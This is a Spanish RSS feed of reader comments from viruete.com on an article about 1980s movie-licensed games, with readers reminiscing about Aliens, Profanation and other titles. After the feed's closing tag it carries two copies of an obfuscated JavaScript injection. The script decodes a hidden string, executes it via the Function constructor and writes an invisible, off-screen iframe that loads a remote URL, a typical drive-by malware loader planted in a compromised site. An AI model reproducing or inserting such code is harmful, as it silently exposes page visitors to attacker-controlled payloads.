<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
	>
<channel>
	<title>Comentarios en: Videojuegos de Cine: El Pack Electric Dreams</title>
	<atom:link href="http://www.viruete.com/videojuegos-de-cine-el-pack-electric-dreams/feed" rel="self" type="application/rss+xml" />
	<link>http://www.viruete.com/videojuegos-de-cine-el-pack-electric-dreams</link>
	<description>We breathe pop culture</description>
	<lastBuildDate>Tue, 07 Feb 2012 22:01:51 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>Por: Aliens</title>
		<link>http://www.viruete.com/videojuegos-de-cine-el-pack-electric-dreams/comment-page-3#comment-8731</link>
		<dc:creator>Aliens</dc:creator>
		<pubDate>Mon, 15 Jun 2009 21:50:44 +0000</pubDate>
		<guid isPermaLink="false">http://enebea.com/viruete/?p=901#comment-8731</guid>
		<description>Mi nick viene de ese juego, el que más me marcó (Aliens). Un amigo lo tenía en Amstrad, me lo recomendó y nada, cuando jugué en C64 por primera vez no sabía ni salir de la primera habitación... Eso sí, una vez lo descubrí... Buffff
La verdad es que me acojonaba, pero nunca supe como acabarlo, hasta que (añooooos más tarde) descubrí navegando por Internet que debía limpiar las paredes de la habitación de la Reina y pude pasármelo. Eso sí, no envié a nadie a las habitaciones claves (Generador, etc), fui a saco, quedándome sin luz al final jeje.
En C64 los huevos aparecían a menudo y los &quot;face hugger&quot; o como se llaman también y si matabas uno, aparecía otro rápidamente.
A Newt también la vi alguna vez (al azar o eso pensaba), aunque he leido ahora por ahí que parece que hay una especie de ruta para que aparezca (en Spectrum), no sé si es cierto.
Lo que me costó encontrar cómo se acababa el juego, Ojalá Pedro hubiera posteado esa solución antes... jeje</description>
		<content:encoded><![CDATA[<p>Mi nick viene de ese juego, el que más me marcó (Aliens). Un amigo lo tenía en Amstrad, me lo recomendó y nada, cuando jugué en C64 por primera vez no sabía ni salir de la primera habitación&#8230; Eso sí, una vez lo descubrí&#8230; Buffff<br />
La verdad es que me acojonaba, pero nunca supe como acabarlo, hasta que (añooooos más tarde) descubrí navegando por Internet que debía limpiar las paredes de la habitación de la Reina y pude pasármelo. Eso sí, no envié a nadie a las habitaciones claves (Generador, etc), fui a saco, quedándome sin luz al final jeje.<br />
En C64 los huevos aparecían a menudo y los &#8220;face hugger&#8221; o como se llaman también y si matabas uno, aparecía otro rápidamente.<br />
A Newt también la vi alguna vez (al azar o eso pensaba), aunque he leido ahora por ahí que parece que hay una especie de ruta para que aparezca (en Spectrum), no sé si es cierto.<br />
Lo que me costó encontrar cómo se acababa el juego, Ojalá Pedro hubiera posteado esa solución antes&#8230; jeje</p>
]]></content:encoded>
	</item>
	<item>
		<title>Por: halford10</title>
		<link>http://www.viruete.com/videojuegos-de-cine-el-pack-electric-dreams/comment-page-3#comment-8730</link>
		<dc:creator>halford10</dc:creator>
		<pubDate>Fri, 29 Feb 2008 20:15:53 +0000</pubDate>
		<guid isPermaLink="false">http://enebea.com/viruete/?p=901#comment-8730</guid>
		<description>y nadie se acuerda del atic-atac? q pedazo de juego para el spectrum 48 k...gaste la cinta de tanto cargarlo...jejejejejeje.que tiempos aquellos...snif!</description>
		<content:encoded><![CDATA[<p>y nadie se acuerda del atic-atac? q pedazo de juego para el spectrum 48 k&#8230;gaste la cinta de tanto cargarlo&#8230;jejejejejeje.que tiempos aquellos&#8230;snif!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Por: darthhawk</title>
		<link>http://www.viruete.com/videojuegos-de-cine-el-pack-electric-dreams/comment-page-3#comment-8729</link>
		<dc:creator>darthhawk</dc:creator>
		<pubDate>Mon, 25 Feb 2008 13:08:08 +0000</pubDate>
		<guid isPermaLink="false">http://enebea.com/viruete/?p=901#comment-8729</guid>
		<description>El artículo no está mal - sin ser en mi modesta opinión de los mejores - pero logra con creces el objetivo de arrastrarte a los días de nocilla y cassettes.
Respecto al Aliens, cunado por fin puse mis garras sobre él ya había salido el Space Hulk, y sinceramente le daba varias vueltas.
Reconozco que al BTTF no le di oportunidades, ni al Howard. Al de BTILC, no recuerdo por qué extraño motivo, pero sí jugué más. Sobre todo existiendo renegades y similares.
Menciones especiales a los fans de ferhergon; bloodwych (no lo acabé), eye of the beholder, Shadowlands, Dark Heart of Uukrull, Elvira (uno)...</description>
		<content:encoded><![CDATA[<p>El artículo no está mal &#8211; sin ser en mi modesta opinión de los mejores &#8211; pero logra con creces el objetivo de arrastrarte a los días de nocilla y cassettes.<br />
Respecto al Aliens, cunado por fin puse mis garras sobre él ya había salido el Space Hulk, y sinceramente le daba varias vueltas.<br />
Reconozco que al BTTF no le di oportunidades, ni al Howard. Al de BTILC, no recuerdo por qué extraño motivo, pero sí jugué más. Sobre todo existiendo renegades y similares.<br />
Menciones especiales a los fans de ferhergon; bloodwych (no lo acabé), eye of the beholder, Shadowlands, Dark Heart of Uukrull, Elvira (uno)&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Por: melodramatico</title>
		<link>http://www.viruete.com/videojuegos-de-cine-el-pack-electric-dreams/comment-page-3#comment-8728</link>
		<dc:creator>melodramatico</dc:creator>
		<pubDate>Fri, 22 Feb 2008 18:09:14 +0000</pubDate>
		<guid isPermaLink="false">http://enebea.com/viruete/?p=901#comment-8728</guid>
		<description>Sólo añadir que los juegos en 3D NO han acabado con las patadas voladoras! XD
El personaje Jann Lee del Dead or Alive 2 y 3 (y supongo que siguientes) hace una patada voladora con la misma combinación de teclas que un Hariuken (cambiando, claro, el botón de puñetazo por el de patada), y es sencillamente b-r-u-t-a-l  ;-)</description>
		<content:encoded><![CDATA[<p>Sólo añadir que los juegos en 3D NO han acabado con las patadas voladoras! XD<br />
El personaje Jann Lee del Dead or Alive 2 y 3 (y supongo que siguientes) hace una patada voladora con la misma combinación de teclas que un Hariuken (cambiando, claro, el botón de puñetazo por el de patada), y es sencillamente b-r-u-t-a-l  <img src='http://www.viruete.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>Por: fettuchini</title>
		<link>http://www.viruete.com/videojuegos-de-cine-el-pack-electric-dreams/comment-page-3#comment-8727</link>
		<dc:creator>fettuchini</dc:creator>
		<pubDate>Fri, 15 Feb 2008 21:47:32 +0000</pubDate>
		<guid isPermaLink="false">http://enebea.com/viruete/?p=901#comment-8727</guid>
		<description>Y su banda sonora era la rehostia, añado:
&lt;a href=&quot;http://es.youtube.com/watch?v=uYF11aCiilk&quot; rel=&quot;nofollow&quot;&gt;http://es.youtube.com/watch?v=uYF11aCiilk&lt;/a&gt;</description>
		<content:encoded><![CDATA[<p>Y su banda sonora era la rehostia, añado:<br />
<a href="http://es.youtube.com/watch?v=uYF11aCiilk" rel="nofollow">http://es.youtube.com/watch?v=uYF11aCiilk</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Por: fettuchini</title>
		<link>http://www.viruete.com/videojuegos-de-cine-el-pack-electric-dreams/comment-page-3#comment-8726</link>
		<dc:creator>fettuchini</dc:creator>
		<pubDate>Fri, 15 Feb 2008 19:54:04 +0000</pubDate>
		<guid isPermaLink="false">http://enebea.com/viruete/?p=901#comment-8726</guid>
		<description>¿Nadie recuerda un juego de commodore llamado &quot;Parallax&quot;?
Sí, como el alter ego de Hal Jordan. Un juego de verdad a reivindicar. Una nave espacial que se controlaba al estilo del &quot;Meteoros&quot; volando a través de pantallas enormes repletas de escenarios y enemigos más oníricos que &quot;El Planeta imaginario&quot; y que podía subir y bajar además de ir arriba, abajo, derecha e izquierda y con la que tenías que volar de hasta aterrizar pistas de aterrizaje que llevaban hasta almacenes. Entonces salía un señor de la nave y tenías que entrar en los almacenes, conseguir códigos de ordenadores que estaban ahí además de drogar a científicos que residían en esos sitios (¿¿??) y secuestrarlos hasta la nave para usar los códigos que te daban para desactivar la barrera que te impedía continuar hasta la pantalla siguiente... en la que tenías que volver a drogar a más científicos que podías luego masacrar una vez que ya no te hacían falta.
El juego era era raro de cojones. Y más difícil que un dolor.</description>
		<content:encoded><![CDATA[<p>¿Nadie recuerda un juego de commodore llamado &#8220;Parallax&#8221;?<br />
Sí, como el alter ego de Hal Jordan. Un juego de verdad a reivindicar. Una nave espacial que se controlaba al estilo del &#8220;Meteoros&#8221; volando a través de pantallas enormes repletas de escenarios y enemigos más oníricos que &#8220;El Planeta imaginario&#8221; y que podía subir y bajar además de ir arriba, abajo, derecha e izquierda y con la que tenías que volar de hasta aterrizar pistas de aterrizaje que llevaban hasta almacenes. Entonces salía un señor de la nave y tenías que entrar en los almacenes, conseguir códigos de ordenadores que estaban ahí además de drogar a científicos que residían en esos sitios (¿¿??) y secuestrarlos hasta la nave para usar los códigos que te daban para desactivar la barrera que te impedía continuar hasta la pantalla siguiente&#8230; en la que tenías que volver a drogar a más científicos que podías luego masacrar una vez que ya no te hacían falta.<br />
El juego era era raro de cojones. Y más difícil que un dolor.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Por: El Señor Lechero</title>
		<link>http://www.viruete.com/videojuegos-de-cine-el-pack-electric-dreams/comment-page-3#comment-8725</link>
		<dc:creator>El Señor Lechero</dc:creator>
		<pubDate>Sat, 09 Feb 2008 12:50:14 +0000</pubDate>
		<guid isPermaLink="false">http://enebea.com/viruete/?p=901#comment-8725</guid>
		<description>Uf, Maese Viru: su amigo escogió tres de los juegos basados en películas más lamentables que se recuerdan. Y eso que, de pasada, sólo mencionaron aquel timo de &quot;Viernes 13&quot;. Pero algunas adaptaciones eran penosas: imagínense ustedes lo que perpetró OCEAN con El Coche Fantástico, Currusión en Mayami o &quot;Ube&quot;. Lo de la Joya del Nilo era un juego español (y como tal, no hay Ilúvatar bendito que lo acabe). &quot;Cobra&quot; no estaba mal para la época y Rambo 3 era más que aceptable (copiaba a los Metal Gear de MSX y Operation Wolf en distintas fases).
P. D. Y me acuerdo de Skool Daze y de Bak to Skool. Hay un remake muy logrado por ahí. Eso sí, señores remaqueadores ¿es necesario ponerles a estas nuevas versiones la misma dificultad jodida de los originales?</description>
		<content:encoded><![CDATA[<p>Uf, Maese Viru: su amigo escogió tres de los juegos basados en películas más lamentables que se recuerdan. Y eso que, de pasada, sólo mencionaron aquel timo de &#8220;Viernes 13&#8243;. Pero algunas adaptaciones eran penosas: imagínense ustedes lo que perpetró OCEAN con El Coche Fantástico, Currusión en Mayami o &#8220;Ube&#8221;. Lo de la Joya del Nilo era un juego español (y como tal, no hay Ilúvatar bendito que lo acabe). &#8220;Cobra&#8221; no estaba mal para la época y Rambo 3 era más que aceptable (copiaba a los Metal Gear de MSX y Operation Wolf en distintas fases).<br />
P. D. Y me acuerdo de Skool Daze y de Bak to Skool. Hay un remake muy logrado por ahí. Eso sí, señores remaqueadores ¿es necesario ponerles a estas nuevas versiones la misma dificultad jodida de los originales?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Por: Amalf</title>
		<link>http://www.viruete.com/videojuegos-de-cine-el-pack-electric-dreams/comment-page-3#comment-8724</link>
		<dc:creator>Amalf</dc:creator>
		<pubDate>Wed, 06 Feb 2008 23:39:45 +0000</pubDate>
		<guid isPermaLink="false">http://enebea.com/viruete/?p=901#comment-8724</guid>
		<description>Sabeis que es desesperación? Una tarde 3 amigos decidimos acabar el abu simbel PROFANATION de dinamic. Para eso nos encerramos en el trastero de los padres de uno que tenían una tele en BLANCO Y NEGRO alli guardada. Pasamos de ir a clase,que dicho sea de paso es la acción que se define con mas palabras diferentes según cambies de comunidad en españa (campana, borota, pelarsela etc),y nos encerramos con el espectrum 48k alli.Jugando entre los 3 y sudando la gota gorda nos pasamos todo el juego y en una pantalla habia un diamante gigante que CAMBIABA DE COLOR ALEATORIAMENTE CADA PARTIDA entonces al llegar al final tenias que elegir el color que habias visto en el diamante (no me acuerdo si habia que escribirlo o elegir una puerta con dicho color(creo que esto último)y nosotros GILIPOLLAS CON UNA TELE EN BLANCO Y NEGRO AGGGGG no sabiamos el puto color y llevabamos horas alli dentro (trastero de 2x2 mts)se nos quedo una puta cara.hicimos un consenso para elegir que color era, parecia un eleccion a vida o muerte o como la crisis de los misiles de cuba.Por supuesto fallamos y el juego se reiniciaba agggg pensaba que me moría. Lo que hicimos es lo que hubiera hecho cualquier cristiano, esto es: cagarnos en dios y todas las deidades del universo, destrozar a ostias todo el trastero y darle tal palizon a la puta tele que cuando acabamos con ella se podia meter en un sobre de MONTA-MAN.
Como dice deniro al final de casino: &quot;Y eso es todo&quot;
saludos</description>
		<content:encoded><![CDATA[<p>Sabeis que es desesperación? Una tarde 3 amigos decidimos acabar el abu simbel PROFANATION de dinamic. Para eso nos encerramos en el trastero de los padres de uno que tenían una tele en BLANCO Y NEGRO alli guardada. Pasamos de ir a clase,que dicho sea de paso es la acción que se define con mas palabras diferentes según cambies de comunidad en españa (campana, borota, pelarsela etc),y nos encerramos con el espectrum 48k alli.Jugando entre los 3 y sudando la gota gorda nos pasamos todo el juego y en una pantalla habia un diamante gigante que CAMBIABA DE COLOR ALEATORIAMENTE CADA PARTIDA entonces al llegar al final tenias que elegir el color que habias visto en el diamante (no me acuerdo si habia que escribirlo o elegir una puerta con dicho color(creo que esto último)y nosotros GILIPOLLAS CON UNA TELE EN BLANCO Y NEGRO AGGGGG no sabiamos el puto color y llevabamos horas alli dentro (trastero de 2&#215;2 mts)se nos quedo una puta cara.hicimos un consenso para elegir que color era, parecia un eleccion a vida o muerte o como la crisis de los misiles de cuba.Por supuesto fallamos y el juego se reiniciaba agggg pensaba que me moría. Lo que hicimos es lo que hubiera hecho cualquier cristiano, esto es: cagarnos en dios y todas las deidades del universo, destrozar a ostias todo el trastero y darle tal palizon a la puta tele que cuando acabamos con ella se podia meter en un sobre de MONTA-MAN.<br />
Como dice deniro al final de casino: &#8220;Y eso es todo&#8221;<br />
saludos</p>
]]></content:encoded>
	</item>
	<item>
		<title>Por: Capitán Larvosa</title>
		<link>http://www.viruete.com/videojuegos-de-cine-el-pack-electric-dreams/comment-page-2#comment-8723</link>
		<dc:creator>Capitán Larvosa</dc:creator>
		<pubDate>Wed, 30 Jan 2008 21:26:58 +0000</pubDate>
		<guid isPermaLink="false">http://enebea.com/viruete/?p=901#comment-8723</guid>
		<description>Acabo de encontrar el mapa del Aliens. ¡No va a haber quien me pare!
&lt;a href=&quot;http://www.planetavp.com/al/Memorabilia/Games/c64a2uk/c64a2ukmap.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.planetavp.com/al/Memorabilia/Games/c64a2uk/c64a2ukmap.jpg&lt;/a&gt;</description>
		<content:encoded><![CDATA[<p>Acabo de encontrar el mapa del Aliens. ¡No va a haber quien me pare!<br />
<a href="http://www.planetavp.com/al/Memorabilia/Games/c64a2uk/c64a2ukmap.jpg" rel="nofollow">http://www.planetavp.com/al/Memorabilia/Games/c64a2uk/c64a2ukmap.jpg</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Por: Charly</title>
		<link>http://www.viruete.com/videojuegos-de-cine-el-pack-electric-dreams/comment-page-2#comment-8722</link>
		<dc:creator>Charly</dc:creator>
		<pubDate>Wed, 30 Jan 2008 09:36:41 +0000</pubDate>
		<guid isPermaLink="false">http://enebea.com/viruete/?p=901#comment-8722</guid>
		<description>Para RPGs vetustos y miticos, el Dark Heart of Uukrul.
Grandioso, eterno, chunguisimo. Yo creo que con 11 años que tenia cuando lo compré original (gracias mama), no pude flipar mas. Que combates mas currados, que enigmas tan buenos y diversos.
Gracias a Broderbund, gran compañia que creo, entre otros, el primer Prince of Persia (enorme juego), y a este juego, aprendí y tomé interés por el inglés.
Por favor, que alguien lo conozca, en micromania el tal ferhergon de la seccion rolera, siempre lo ponía como uno de sus favoritos, pese a que era muy impopular, ademas, cabia en un disqette de baja densidad .
Ayy, que tiempos...</description>
		<content:encoded><![CDATA[<p>Para RPGs vetustos y miticos, el Dark Heart of Uukrul.<br />
Grandioso, eterno, chunguisimo. Yo creo que con 11 años que tenia cuando lo compré original (gracias mama), no pude flipar mas. Que combates mas currados, que enigmas tan buenos y diversos.<br />
Gracias a Broderbund, gran compañia que creo, entre otros, el primer Prince of Persia (enorme juego), y a este juego, aprendí y tomé interés por el inglés.<br />
Por favor, que alguien lo conozca, en micromania el tal ferhergon de la seccion rolera, siempre lo ponía como uno de sus favoritos, pese a que era muy impopular, ademas, cabia en un disqette de baja densidad .<br />
Ayy, que tiempos&#8230;</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script><script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script>
